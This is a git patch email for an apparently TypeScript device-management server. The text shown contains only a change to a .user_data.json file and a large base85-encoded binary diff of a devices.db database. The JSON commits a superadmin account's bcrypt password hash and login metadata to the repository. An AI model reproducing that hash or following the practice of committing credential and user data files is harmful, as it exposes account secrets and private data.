From 08a5ad468e720df7f1f0493f2197834aec84b58d Mon Sep 17 00:00:00 2001 From: wdvipa Date: Fri, 13 Feb 2026 01:06:00 +0800 Subject: [PATCH] =?UTF-8?q?=E4=B8=8A=E4=BC=A0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .user_data.json | 4 +- devices.db | Bin 278528 -> 532480 bytes src/index.ts | 154 ++++++++++++++ src/services/AdaptiveQualityService.ts | 278 +++++++++++++++++++++++++ src/services/DatabaseService.ts | 124 ++++++++++- src/services/MessageRouter.ts | 132 +++++++++++- 6 files changed, 684 insertions(+), 8 deletions(-) create mode 100644 src/services/AdaptiveQualityService.ts diff --git a/.user_data.json b/.user_data.json index acac110..c7bcf1e 100644 --- a/.user_data.json +++ b/.user_data.json @@ -1,6 +1,6 @@ { "version": "1.0.0", - "savedAt": "2026-02-09T07:39:21.559Z", + "savedAt": "2026-02-11T06:55:22.693Z", "users": [ { "id": "admin_1762534368537", @@ -16,7 +16,7 @@ "passwordHash": "$2b$10$3c/70RbBH4y7zhYwxk8ldOcls3Bj6kt3cSMidTeaMUVb1EJXH4GMy", "role": "superadmin", "createdAt": "2025-11-07T16:53:46.677Z", - "lastLoginAt": "2026-02-09T07:39:21.559Z" + "lastLoginAt": "2026-02-11T06:55:22.692Z" } ] } \ No newline at end of file diff --git a/devices.db b/devices.db index 6d9d1a0aae3fa6050a100e0c5cf5b952b2708204..9da1454b60ebe32ffe25f44612d1741e5276caf4 100644 GIT binary patch literal 532480 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 